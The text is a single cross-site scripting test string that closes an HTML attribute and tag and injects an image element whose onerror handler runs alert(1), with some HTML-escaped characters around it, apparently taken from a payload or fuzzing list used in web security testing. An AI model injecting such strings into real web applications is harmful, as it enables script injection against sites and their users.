“/>.<<img src=x onerror=alert(1)//"&gt;>&lt;&gt;